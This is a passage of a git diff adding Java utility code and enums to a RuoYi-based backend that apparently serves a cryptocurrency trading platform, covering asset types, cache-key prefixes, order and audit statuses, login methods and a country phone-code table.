    + * 转义\: format("this is \\\\{} for {}", "a", "b") -> this is \a for b
    + * + * @param strPattern 字符串模板 + * @param argArray 参数列表 + * @return 结果 + */ + public static String format(final String strPattern, final Object... argArray) + { + if (StringUtils.isEmpty(strPattern) || StringUtils.isEmpty(argArray)) + { + return strPattern; + } + final int strPatternLength = strPattern.length(); + + // 初始化定义好的长度以获得更好的性能 + StringBuilder sbuf = new StringBuilder(strPatternLength + 50); + + int handledPosition = 0; + int delimIndex;// 占位符所在位置 + for (int argIndex = 0; argIndex < argArray.length; argIndex++) + { + delimIndex = strPattern.indexOf(EMPTY_JSON, handledPosition); + if (delimIndex == -1) + { + if (handledPosition == 0) + { + return strPattern; + } + else + { // 字符串模板剩余部分不再包含占位符,加入剩余部分后返回结果 + sbuf.append(strPattern, handledPosition, strPatternLength); + return sbuf.toString(); + } + } + else + { + if (delimIndex > 0 && strPattern.charAt(delimIndex - 1) == C_BACKSLASH) + { + if (delimIndex > 1 && strPattern.charAt(delimIndex - 2) == C_BACKSLASH) + { + // 转义符之前还有一个转义符,占位符依旧有效 + sbuf.append(strPattern, handledPosition, delimIndex - 1); + sbuf.append(Convert.utf8Str(argArray[argIndex])); + handledPosition = delimIndex + 2; + } + else + { + // 占位符被转义 + argIndex--; + sbuf.append(strPattern, handledPosition, delimIndex - 1); + sbuf.append(C_DELIM_START); + handledPosition = delimIndex + 1; + } + } + else + { + // 正常占位符 + sbuf.append(strPattern, handledPosition, delimIndex); + sbuf.append(Convert.utf8Str(argArray[argIndex])); + handledPosition = delimIndex + 2; + } + } + } + // 加入最后一个占位符后所有的字符 + sbuf.append(strPattern, handledPosition, strPattern.length()); + + return sbuf.toString(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/AssetEnum.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/AssetEnum.java new file mode 100644 index 0000000..f7453a1 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/AssetEnum.java @@ -0,0 +1,43 @@ +package com.ruoyi.common.enums; + +public enum AssetEnum { + + + + /** + * 平台资产 + */ + PLATFORM_ASSETS(1,"平台资产"), + + /** + * 理财资产 + */ + FINANCIAL_ASSETS(2,"理财资产"), + /** + * 合约资产 + */ + CONTRACT_ASSETS(3,"合约账户"), + + + + + ; + private Integer code; + + private String desc; + + public Integer getCode() + { + return code; + } + + public String getInfo() + { + return desc; + } + + AssetEnum(Integer code,String desc){ + this.code = code; + this.desc = desc; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/AuditStatusEnum.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/AuditStatusEnum.java new file mode 100644 index 0000000..bcc0c3a --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/AuditStatusEnum.java @@ -0,0 +1,45 @@ +package com.ruoyi.common.enums; + +/** + * 实名认证状态 + */ +public enum AuditStatusEnum { + + + /** + * 审核通过 + */ + EXAMINATION_PASSED("1","审核通过"), + + /** + * 不通过 + */ + AUDIT_NOT_PASSED("2","不通过"), + /** + * 未审核 + */ + NOT_REVIEWED("3","未审核"), + + + + + ; + private String code; + + private String desc; + + public String getCode() + { + return code; + } + + public String getInfo() + { + return desc; + } + + AuditStatusEnum(String code,String desc){ + this.code = code; + this.desc = desc; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/BusinessStatus.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/BusinessStatus.java new file mode 100644 index 0000000..10b7306 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/BusinessStatus.java @@ -0,0 +1,20 @@ +package com.ruoyi.common.enums; + +/** + * 操作状态 + * + * @author ruoyi + * + */ +public enum BusinessStatus +{ + /** + * 成功 + */ + SUCCESS, + + /** + * 失败 + */ + FAIL, +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/BusinessType.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/BusinessType.java new file mode 100644 index 0000000..2e17c4a --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/BusinessType.java @@ -0,0 +1,59 @@ +package com.ruoyi.common.enums; + +/** + * 业务操作类型 + * + * @author ruoyi + */ +public enum BusinessType +{ + /** + * 其它 + */ + OTHER, + + /** + * 新增 + */ + INSERT, + + /** + * 修改 + */ + UPDATE, + + /** + * 删除 + */ + DELETE, + + /** + * 授权 + */ + GRANT, + + /** + * 导出 + */ + EXPORT, + + /** + * 导入 + */ + IMPORT, + + /** + * 强退 + */ + FORCE, + + /** + * 生成代码 + */ + GENCODE, + + /** + * 清空数据 + */ + CLEAN, +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/CachePrefix.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/CachePrefix.java new file mode 100644 index 0000000..740bc5c --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/CachePrefix.java @@ -0,0 +1,122 @@ +package com.ruoyi.common.enums; + +public enum CachePrefix { + + /** + * token 信息 + */ + ACCESS_TOKEN, + /** + * token 信息 + */ + REFRESH_TOKEN, + /** + * 用户错误登录限制 + */ + LOGIN_TIME_LIMIT, + /** + * 普通验证码 + */ + CODE, + /** + * 短信验证码 + */ + SMS_CODE, + /** + * 邮箱验证码 + */ + EMAIL_CODE, + /** + * 币种汇率 + */ + CURRENCY_PRICE, + /** + * 24小时开盘价 + */ + CURRENCY_OPEN_PRICE, + /** + * 收盘价 + **/ + CURRENCY_CLOSE_PRICE, + /** + * 用户多币种充值地址 + */ + USER_ADDRESS, + /** + * 秒合约订单 + */ + ORDER_SECOND_CONTRACT, + /** + * 钱包KEY + */ + USER_WALLET, + /** + * 用户借贷KEY + */ + APP_LOADORDER, + /** + * 理财购买限制 + */ + MINE_FINANCIAL, + /** + *理财购买成交频繁限制 + */ + MINE_FINANCIAL_ORDER, + /** + * 玩家的站内信 + */ + USER_MAIL, + /** + * 玩家公共的站内信 + */ + COMMONALITY_MAIL, + /** + * 币币交易订单key + */ + REDIS_KEY_CURRENCY_ORDER, + /** + * 用户登录 标识 + */ + USER_LOGIN_ADDRESS_FLAG, + + /** + * 自有币种缓存 + */ + OWN_COIN_CACHE, + /** + * 币种k线缓存 + */ + COIN_KLINE, + /** + * 币种交易 + */ + COIN_TRADE, + /** + * 币种详情 + */ + COIN_DETAIL, + /** + * 止盈 + */ + POSITION_PRICE, + /** + * 用户上次提现地址 + */ + USER_ADDRESS_WITHDRAW + ; + + + public static String removePrefix(String str) { + return str.substring(str.lastIndexOf("}_") + 2); + } + + /** + * 通用获取缓存key值 + * + * @return 缓存key值 + */ + public String getPrefix() { + return "{" + this.name() + "}_:"; + } + +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/CandlestickIntervalEnum.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/CandlestickIntervalEnum.java new file mode 100644 index 0000000..7a30d9a --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/CandlestickIntervalEnum.java @@ -0,0 +1,64 @@ +package com.ruoyi.common.enums; + +import lombok.Getter; + +import java.util.Arrays; + +/** + * k线周期 + * + * @author clion + */ + +@Getter +public enum CandlestickIntervalEnum { + + + MIN1("ONE_MIN", "1min"), + MIN5("FIVE_MIN", "5min"), + MIN15("FIFTEEN_MIN", "15min"), + MIN30("THIRTY_MIN", "30min"), + MIN60("ONE_HOUR", "60min"), + HOUR4("FOUR_HOUR ", "4hour"), + DAY1("ONE_DAY", "1day"), + WEEK1("SEVEN_DAY", "1week"), + YEAR1("ONE_YEAR", "1year"); + + + private String code; + private String value; + + CandlestickIntervalEnum(String code, String value) { + this.code = code; + this.value = value; + } + + public String getCode() { + return code; + } + + public void setCode(String code) { + this.code = code; + } + + public String getValue() { + return value; + } + + public void setValue(String value) { + this.value = value; + } + + public static String getValue(String code) { + CandlestickIntervalEnum[] betResult = CandlestickIntervalEnum.values(); + CandlestickIntervalEnum result = Arrays.asList(betResult).stream() + .filter(i -> i.getCode().equals(code)) + .findFirst().orElse(null); + if (result == null) { + return "1min"; + } + return result.getValue(); + } + + +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/ClassifyEnum.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/ClassifyEnum.java new file mode 100644 index 0000000..a42f6bc --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/ClassifyEnum.java @@ -0,0 +1,30 @@ +package com.ruoyi.common.enums; + +public enum ClassifyEnum { + + //(0 普通 1 vip 2 增值) + + ORDINARY("0","普通"), + VIP("1","vip"), + ADDED_VALUE("2","增值"), + ; + private final String code; + private final String info; + + ClassifyEnum(String code, String info) + { + this.code = code; + this.info = info; + } + + public String getCode() + { + return code; + } + + public String getInfo() + { + return info; + } + +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/CommonEnum.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/CommonEnum.java new file mode 100644 index 0000000..11cb122 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/CommonEnum.java @@ -0,0 +1,31 @@ +package com.ruoyi.common.enums; + +public enum CommonEnum { + + TRUE(1,true), + FALSE(0,false), + ZERO(0,false), + ONE(1,false), + TWO(2,false), + THREE(3,false), + ; + + private final Integer code; + private final Boolean desc; + + CommonEnum(Integer code, Boolean info) + { + this.code = code; + this.desc = info; + } + + public Integer getCode() + { + return code; + } + + public Boolean getInfo() + { + return desc; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/ContractOrderStatusEmun.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/ContractOrderStatusEmun.java new file mode 100644 index 0000000..bb02558 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/ContractOrderStatusEmun.java @@ -0,0 +1,22 @@ +package com.ruoyi.common.enums; + +public enum ContractOrderStatusEmun { + DEAL("0","待成交"), + ALLDEAl("1","完全成交"), + CANCAL("2","撤销"); + + ContractOrderStatusEmun(String code, String value) { + this.code = code; + this.value = value; + } + private String code; + private String value; + + public String getCode() { + return code; + } + + public String getValue() { + return value; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/CountryCodeAndPhoneCodeEnum.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/CountryCodeAndPhoneCodeEnum.java new file mode 100644 index 0000000..b3f74eb --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/CountryCodeAndPhoneCodeEnum.java @@ -0,0 +1,308 @@ +package com.ruoyi.common.enums; + +import cn.hutool.json.JSONArray; +import cn.hutool.json.JSONUtil; +import com.ruoyi.common.utils.ChineseCharacterUtil; +import lombok.AllArgsConstructor; +import lombok.Getter; + +import java.util.*; +/** + * 国家区号 和 手机区号 枚举 + *

    + * todo: 需要放到后台 vchatAll 中统一标准 + */ +@Getter +@AllArgsConstructor +@Deprecated +public enum CountryCodeAndPhoneCodeEnum { + AFGHANISTAN("Afghanistan", "阿富汗", "AF", "93"), + ALASKA("Alaska", "阿拉斯加", "US", "1907"), + ALBANIA("Albania", "阿尔巴尼亚", "AL", "355"), + ALGERIA("Algeria", "阿尔及利亚", "DZ", "213"), + AMERICAN_SAMOA("American Samoa", "美属萨摩亚", "AS", "1684"), + ANDORRA("Andorra", "安道尔", "AD", "376"), + ANGOLA("Angola", "安哥拉", "AO", "244"), + ANGUILLA("Anguilla", "安圭拉", "AI", "1264"), + ANTIGUA_AND_BARBUDA("Antigua and Barbuda", "安提瓜和巴布达", "AG", "1268"), + ARGENTINA("Argentina", "阿根廷", "AR", "54"), + ARMENIA("Armenia", "亚美尼亚", "AM", "374"), + ARUBA("Aruba", "阿鲁巴", "AW", "297"), + ASCENSION("Ascension", "阿森松", "SH", "247"), + AUSTRALIA("Australia", "澳大利亚", "AU", "61"), + AUSTRIA("Austria", "奥地利", "AT", "43"), + AZERBAIJAN("Azerbaijan", "阿塞拜疆", "AZ", "994"), + BAHAMAS("Bahamas", "巴哈马", "BS", "1242"), + BAHRAIN("Bahrain", "巴林", "BH", "973"), + BANGLADESH("Bangladesh", "孟加拉国", "BD", "880"), + BARBADOS("Barbados", "巴巴多斯", "BB", "1246"), + BELARUS("Belarus", "白俄罗斯", "BY", "375"), + BELGIUM("Belgium", "比利时", "BE", "32"), + BELIZE("Belize", "伯利兹", "BZ", "501"), + BENIN("Benin", "贝宁", "BJ", "229"), + BERMUDA("Bermuda", "百慕大群岛", "BM", "1441"), + BHUTAN("Bhutan", "不丹", "BT", "975"), + BOLIVIA("Bolivia", "玻利维亚", "BO", "591"), + BOSNIA_AND_HERZEGOVINA("Bosnia and Herzegovina", "波斯尼亚和黑塞哥维那", "BA", "387"), + BOTSWANA("Botswana", "博茨瓦纳", "BW", "267"), + BRAZIL("Brazil", "巴西", "BR", "55"), + BRUNEI("Brunei", "文莱", "BN", "673"), + BULGARIA("Bulgaria", "保加利亚", "BG", "359"), + BURKINA_FASO("Burkina Faso", "布基纳法索", "BF", "226"), + BURUNDI("Burundi", "布隆迪", "BI", "257"), + CAMBODIA("Cambodia", "柬埔寨", "KH", "855"), + CAMEROON("Cameroon", "喀麦隆", "CM", "237"), + CANADA("Canada", "加拿大", "CA", "1"), + ISLAS_CANARIAS("Islas Canarias", "加那利群岛", "ES", "34"), + CAPE_VERDE("Cape Verde", "开普", "CV", "238"), + CAYMAN_ISLANDS("Cayman Islands", "开曼群岛", "KY", "1345"), + CENTRAL_AFRICAN_REPUBLIC("Central African Republic", "中非共和国", "CF", "236"), + CHAD("Chad", "乍得", "TD", "235"), + CHINA("China", "中国", "CN", "86"), + CHILE("Chile", "智利", "CL", "56"), + /* CHRISTMAS_ISLAND("Christmas Island", "圣诞岛", "CX", "0061 9164"), + COCOS_ISLAND("Cocos Island", "科科斯岛", "CC", "0061 9162"),*/ + COLOMBIA("Colombia", "哥伦比亚", "CO", "57"), + DOMINICAN_REPUBLIC("Dominican Republic", "多米尼加共和国", "DO", "1809"), + COMOROS("Comoros", "科摩罗", "KM", "269"), + REPUBLIC_OF_THE_CONGO("Republic Of The Congo", "刚果共和国", "CG", "242"), + COOK_ISLANDS("Cook Islands", "库克群岛", "CK", "682"), + COSTA_RICA("Costa Rica", "哥斯达黎加", "CR", "506"), + CROATIA("Croatia", "克罗地亚", "HR", "385"), + CUBA("Cuba", "古巴", "CU", "53"), + CURACAO("Curacao", "库拉索", "CW", "599"), + CYPRUS("Cyprus", "塞浦路斯", "CY", "357"), + CZECH("Czech", "捷克", "CZ", "420"), + DENMARK("Denmark", "丹麦", "DK", "45"), + DJIBOUTI("Djibouti", "吉布提", "DJ", "253"), + DOMINICA("Dominica", "多米尼加", "DM", "1767"), + ECUADOR("Ecuador", "厄瓜多尔", "EC", "593"), + EGYPT("Egypt", "埃及", "EG", "20"), + EL_SALVADOR("El Salvador", "萨尔瓦多", "SV", "503"), + EQUATORIAL_GUINEA("Equatorial Guinea", "赤道几内亚", "GQ", "240"), + ERITREA("Eritrea", "厄立特里亚", "ER", "291"), + ESTONIA("Estonia", "爱沙尼亚", "EE", "372"), + ETHIOPIA("Ethiopia", "埃塞俄比亚", "ET", "251"), + FALKLAND_ISLANDS("Falkland Islands", "福克兰群岛", "FK", "500"), + FAROE_ISLANDS("Faroe Islands", "法罗群岛", "FO", "298"), + FIJI("Fiji", "斐济", "FJ", "679"), + FINLAND("Finland", "芬兰", "FI", "358"), + FRANCE("France", "法国", "FR", "33"), + FRENCH_GUIANA("French Guiana", "法属圭亚那", "GF", "594"), + FRENCH_POLYNESIA("French Polynesia", "法属波利尼西亚", "PF", "689"), + GABON("Gabon", "加蓬", "GA", "241"), + GAMBIA("Gambia", "冈比亚", "GM", "220"), + GEORGIA("Georgia", "格鲁吉亚", "GE", "995"), + GERMANY("Germany", "德国", "DE", "49"), + GHANA("Ghana", "加纳", "GH", "233"), + GIBRALTAR("Gibraltar", "直布罗陀", "GI", "350"), + GREECE("Greece", "希腊", "GR", "30"), + GREENLAND("Greenland", "格陵兰岛", "GL", "299"), + GRENADA("Grenada", "格林纳达", "GD", "1473"), + GUADELOUPE("Guadeloupe", "瓜德罗普岛", "GP", "590"), + GUAM("Guam", "关岛", "GU", "1671"), + GUATEMALA("Guatemala", "瓜地马拉", "GT", "502"), + GUINEA("Guinea", "几内亚", "GN", "224"), + GUINEA_BISSAU("Guinea-Bissau", "几内亚比绍共和国", "GW", "245"), + GUYANA("Guyana", "圭亚那", "GY", "592"), + HAITI("Haiti", "海地", "HT", "509"), + HAWAII("Hawaii", "夏威夷", "US", "1808"), + HONDURAS("Honduras", "洪都拉斯", "HN", "504"), + HONG_KONG("Hong Kong", "中国香港", "HK", "852"), + HUNGARY("Hungary", "匈牙利", "HU", "36"), + ICELAND("Iceland", "冰岛", "IS", "354"), + INDIA("India", "印度", "IN", "91"), + INDONESIA("Indonesia", "印度尼西亚", "ID", "62"), + IRAN("Iran", "伊朗", "IR", "98"), + IRAQ("Iraq", "伊拉克", "IQ", "964"), + IRELAND("Ireland", "爱尔兰", "IE", "353"), + ISRAEL("Israel", "以色列", "IL", "972"), + ITALY("Italy", "意大利", "IT", "39"), + IVORY_COAST("Ivory Coast", "象牙海岸", "CI", "225"), + JAMAICA("Jamaica", "牙买加", "JM", "1876"), + JAPAN("Japan", "日本", "JP", "81"), + JORDAN("Jordan", "约旦", "JO", "962"), + KAZAKHSTAN("Kazakhstan", "哈萨克斯坦", "KZ", "7"), + KENYA("Kenya", "肯尼亚", "KE", "254"), + KIRIBATI("Kiribati", "基里巴斯", "KI", "686"), + KOREA_DEMOCRATIC_REP("Korea Democratic Rep.", "朝鲜", "KP", "85"), + SOUTH_KOREA("South Korea", "韩国", "KR", "82"), + KUWAIT("Kuwait", "科威特", "KW", "965"), + KYRGYZSTAN("Kyrgyzstan", "吉尔吉斯斯坦", "KG", "996"), + LAOS("Laos", "老挝", "LA", "856"), + LATVIA("Latvia", "拉脱维亚", "LV", "371"), + LEBANON("Lebanon", "黎巴嫩", "LB", "961"), + LESOTHO("Lesotho", "莱索托", "LS", "266"), + LIBERIA("Liberia", "利比里亚", "LR", "231"), + LIBYA("Libya", "利比亚", "LY", "218"), + LIECHTENSTEIN("Liechtenstein", "列支敦士登", "LI", "423"), + LITHUANIA("Lithuania", "立陶宛", "LT", "370"), + LUXEMBOURG("Luxembourg", "卢森堡", "LU", "352"), + MACAU("Macau", "中国澳门", "MO", "853"), + MACEDONIA("Macedonia", "马其顿", "MK", "389"), + MADAGASCAR("Madagascar", "马达加斯加", "MG", "261"), + MALAWI("Malawi", "马拉维", "MW", "265"), + MALAYSIA("Malaysia", "马来西亚", "MY", "60"), + MALDIVES("Maldives", "马尔代夫", "MV", "960"), + MALI("Mali", "马里", "ML", "223"), + MALTA("Malta", "马耳他", "MT", "356"), + MARSHALL_ISLANDS("Marshall Islands", "马绍尔群岛", "MH", "692"), + MARTINIQUE("Martinique", "马提尼克", "MQ", "596"), + MAURITANIA("Mauritania", "毛里塔尼亚", "MR", "222"), + MAURITIUS("Mauritius", "毛里求斯", "MU", "230"), + MAYOTTE("Mayotte", "马约特", "YT", "269"), + MEXICO("Mexico", "墨西哥", "MX", "52"), + MICRONESIA("Micronesia", "密克罗尼西亚", "FM", "691"), + MOLDOVA("Moldova", "摩尔多瓦", "MD", "373"), + MONACO("Monaco", "摩纳哥", "MC", "377"), + MONGOLIA("Mongolia", "蒙古", "MN", "976"), + MONTENEGRO("Montenegro", "黑山", "ME", "382"), + MONTSERRAT("Montserrat", "蒙特塞拉特岛", "MS", "1664"), + MOROCCO("Morocco", "摩洛哥", "MA", "212"), + MOZAMBIQUE("Mozambique", "莫桑比克", "MZ", "258"), + MYANMAR("Myanmar", "缅甸", "MM", "95"), + NAMIBIA("Namibia", "纳米比亚", "NA", "264"), + NAURU("Nauru", "拿鲁岛", "NR", "674"), + NEPAL("Nepal", "尼泊尔", "NP", "977"), + NETHERLANDS("Netherlands", "荷兰", "NL", "31"), + NEW_CALEDONIA("New Caledonia", "新喀里多尼亚", "NC", "687"), + NEW_ZEALAND("New Zealand", "新西兰", "NZ", "64"), + NICARAGUA("Nicaragua", "尼加拉瓜", "NI", "505"), + NIGER("Niger", "尼日尔", "NE", "227"), + NIGERIA("Nigeria", "尼日利亚", "NG", "234"), + NIUE_ISLAND("Niue Island", "纽埃岛(新)", "NU", "683"), + NORFOLK_ISLAND("Norfolk Island", "诺福克岛(澳)", "NF", "6723"), + NORWAY("Norway", "挪威", "NO", "47"), + OMAN("Oman", "阿曼", "OM", "968"), + PALAU("Palau", "帕劳", "PW", "680"), + PANAMA("Panama", "巴拿马", "PA", "507"), + PAPUA_NEW_GUINEA("Papua New Guinea", "巴布亚新几内亚", "PG", "675"), + PARAGUAY("Paraguay", "巴拉圭", "PY", "595"), + PERU("Peru", "秘鲁", "PE", "51"), + PHILIPPINES("Philippines", "菲律宾", "PH", "63"), + POLAND("Poland", "波兰", "PL", "48"), + PORTUGAL("Portugal", "葡萄牙", "PT", "351"), + PAKISTAN("Pakistan", "巴基斯坦", "PK", "92"), + PUERTO_RICO("Puerto Rico", "波多黎各", "PR", "1787"), + QATAR("Qatar", "卡塔尔", "QA", "974"), + RÉUNION_ISLAND("Réunion Island", "留尼汪", "RE", "262"), + ROMANIA("Romania", "罗马尼亚", "RO", "40"), + RUSSIA("Russia", "俄罗斯", "RU", "7"), + RWANDA("Rwanda", "卢旺达", "RW", "250"), + SAMOA_EASTERN("Samoa,Eastern", "东萨摩亚(美)", "AS", "684"), + SAMOA("Samoa", "萨摩亚", "WS", "685"), + SAN_MARINO("San Marino", "圣马力诺", "SM", "378"), + SAINT_PIERRE_AND_MIQUELON("Saint Pierre and Miquelon", "圣彼埃尔和密克隆岛", "PM", "508"), + SAO_TOME_AND_PRINCIPE("Sao Tome and Principe", "圣多美和普林西比", "ST", "239"), + SAUDI_ARABIA("Saudi Arabia", "沙特阿拉伯", "SA", "966"), + SENEGAL("Senegal", "塞内加尔", "SN", "221"), + SERBIA("Serbia", "塞尔维亚", "RS", "381"), + SEYCHELLES("Seychelles", "塞舌尔", "SC", "248"), + SIERRA_LEONE("Sierra Leone", "塞拉利昂", "SL", "232"), + SINGAPORE("Singapore", "新加坡", "SG", "65"), + SAINT_MAARTEN_DUTCH_PART("Saint Maarten (Dutch Part)", "圣马丁岛(荷兰部分)", "SX", "1721"), + SLOVAKIA("Slovakia", "斯洛伐克", "SK", "421"), + SLOVENIA("Slovenia", "斯洛文尼亚", "SI", "386"), + SOLOMON_ISLANDS("Solomon Islands", "所罗门群岛", "SB", "677"), + SOMALIA("Somalia", "索马里", "SO", "252"), + SOUTH_AFRICA("South Africa", "南非", "ZA", "27"), + SPAIN("Spain", "西班牙", "ES", "34"), + SRI_LANKA("Sri Lanka", "斯里兰卡", "LK", "94"), + ST_HELENA("St.Helena", "圣赫勒拿", "SH", "290"), + SAINT_LUCIA("Saint Lucia", "圣露西亚", "LC", "1758"), + SAINT_VINCENT_AND_THE_GRENADINES("Saint Vincent and The Grenadines", "圣文森特和格林纳丁斯", "VC", "1784"), + SUDAN("Sudan", "苏丹", "SD", "249"), + SURINAME("Suriname", "苏里南", "SR", "597"), + SWAZILAND("Swaziland", "斯威士兰", "SZ", "268"), + SWEDEN("Sweden", "瑞典", "SE", "46"), + SWITZERLAND("Switzerland", "瑞士", "CH", "41"), + SYRIA("Syria", "叙利亚", "SY", "963"), + TAIWAN("Taiwan", "中国台湾", "TW", "886"), + TAJIKISTAN("Tajikistan", "塔吉克斯坦", "TJ", "992"), + TANZANIA("Tanzania", "坦桑尼亚", "TZ", "255"), + THAILAND("Thailand", "泰国", "TH", "66"), + TIMOR_LESTE("Timor-Leste", "东帝汶", "TL", "670"), + UNITED_ARAB_EMIRATES("United Arab Emirates", "阿拉伯联合酋长国", "AE", "971"), + TOGO("Togo", "多哥", "TG", "228"), + TOKELAU_IS("Tokelau Is.", "托克劳群岛(新)", "TK", "690"), + TONGA("Tonga", "汤加", "TO", "676"), + TRINIDAD_AND_TOBAGO("Trinidad and Tobago", "特立尼达和多巴哥", "TT", "1868"), + TUNISIA("Tunisia", "突尼斯", "TN", "216"), + TURKEY("Turkey", "土耳其", "TR", "90"), + TURKMENISTAN("Turkmenistan", "土库曼斯坦", "TM", "993"), + TURKS_AND_CAICOS_ISLANDS("Turks and Caicos Islands", "特克斯和凯科斯群岛", "TC", "1649"), + TUVALU("Tuvalu", "图瓦卢", "TK", "688"), + UNITED_STATES("United States", "美国", "US", "1"), + UGANDA("Uganda", "乌干达", "UG", "256"), + UKRAINE("Ukraine", "乌克兰", "UA", "380"), + UNITED_KINGDOM("United Kingdom", "英国", "GB", "44"), + URUGUAY("Uruguay", "乌拉圭", "UY", "598"), + UZBEKISTAN("Uzbekistan", "乌兹别克斯坦", "UZ", "998"), + VANUATU("Vanuatu", "瓦努阿图", "VU", "678"), + VENEZUELA("Venezuela", "委内瑞拉", "VE", "58"), + VIETNAM("Vietnam", "越南", "VN", "84"), + VIRGIN_ISLANDS_BRITISH("Virgin Islands, British", "英属处女群岛", "VG", "1340"), + VIRGIN_ISLANDS_US("Virgin Islands, US", "美属维尔京群岛", "VI", "1284"), + WAKE_I("Wake I.", "威克岛(美)", "UM", "1808"), + YEMEN("Yemen", "也门", "YE", "967"), + ZAMBIA("Zambia", "赞比亚", "ZM", "260"), + ZANZIBAR("Zanzibar", "桑给巴尔", "TZ", "259"), + ZIMBABWE("Zimbabwe", "津巴布韦", "ZW", "263"), + ; + private String englishName; + private String chineseName; + private String countryCode; + private String phoneCode; + + + public static List getJsonArray() { + StringBuilder str = new StringBuilder(); + str.append("["); + for (CountryCodeAndPhoneCodeEnum anEnum : CountryCodeAndPhoneCodeEnum.values()) { + str.append("{") + .append("\"englishName\":\"" + anEnum.getEnglishName() + "\",") + .append("\"chineseName\":\"" + anEnum.getChineseName() + "\",") + .append("\"countryCode\":\"" + anEnum.getCountryCode() + "\",") + .append("\"phoneCode\":\"" + anEnum.getPhoneCode() + "\"") + .append("},"); + } + str.deleteCharAt(str.length() - 1); + str.append("]"); + JSONArray jsonArr = JSONUtil.parseArray(str.toString()); + List maps = jsonArr.toList(Map.class); + + ArrayList result = countrySort(maps); + return result; + } + + private static ArrayList countrySort(List maps) { + ArrayList result = new ArrayList(); + for (char c = 'A'; c <= 'Z'; ++c) { + List data = new ArrayList<>(); + for (Map map : maps) { + Set> set = map.entrySet(); + + for (Map.Entry entry : set) { + String key = entry.getKey(); + if ("englishName".equals(key)) { + String value = entry.getValue(); + String s = ChineseCharacterUtil.convertHanzi2Pinyin(value, false); + if ((c + "").equalsIgnoreCase(s.charAt(0) + "")) { + data.add(map); + } + } + } + } + + if (data.size() > 0) { + Map item = new HashMap<>(); + item.put("letter", c + ""); + item.put("data", data); + + result.add(item); + } + } + return result; + } + + } \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/DataSourceType.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/DataSourceType.java new file mode 100644 index 0000000..0d945be --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/DataSourceType.java @@ -0,0 +1,19 @@ +package com.ruoyi.common.enums; + +/** + * 数据源 + * + * @author ruoyi + */ +public enum DataSourceType +{ + /** + * 主库 + */ + MASTER, + + /** + * 从库 + */ + SLAVE +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/HttpMethod.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/HttpMethod.java new file mode 100644 index 0000000..be6f739 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/HttpMethod.java @@ -0,0 +1,36 @@ +package com.ruoyi.common.enums; + +import java.util.HashMap; +import java.util.Map; +import org.springframework.lang.Nullable; + +/** + * 请求方式 + * + * @author ruoyi + */ +public enum HttpMethod +{ + GET, HEAD, POST, PUT, PATCH, DELETE, OPTIONS, TRACE; + + private static final Map mappings = new HashMap<>(16); + + static + { + for (HttpMethod httpMethod : values()) + { + mappings.put(httpMethod.name(), httpMethod); + } + } + + @Nullable + public static HttpMethod resolve(@Nullable String method) + { + return (method != null ? mappings.get(method) : null); + } + + public boolean matches(String method) + { + return (this == resolve(method)); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/LimitType.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/LimitType.java new file mode 100644 index 0000000..c609fd8 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/LimitType.java @@ -0,0 +1,20 @@ +package com.ruoyi.common.enums; + +/** + * 限流类型 + * + * @author ruoyi + */ + +public enum LimitType +{ + /** + * 默认策略全局限流 + */ + DEFAULT, + + /** + * 根据请求者IP进行限流 + */ + IP +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/LoginOrRegisterEnum.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/LoginOrRegisterEnum.java new file mode 100644 index 0000000..dc24ddf --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/LoginOrRegisterEnum.java @@ -0,0 +1,45 @@ +package com.ruoyi.common.enums; + +public enum LoginOrRegisterEnum { + + /** + * 地址登录注册 + */ + ADDRESS("0","地址登录"), + + /** + * 邮箱登录注册 + */ + EMAIL("1","邮箱登录"), + + /** + * 手机号登录注册 + */ + PHONE("2","手机号登录"), + + /** + * 普通登录注册 + */ + LOGIN("3","普通登录"), + + + ; + private String code; + + private String desc; + + public String getCode() + { + return code; + } + + public String getInfo() + { + return desc; + } + + LoginOrRegisterEnum(String code,String desc){ + this.code = code; + this.desc = desc; + } +} diff --git 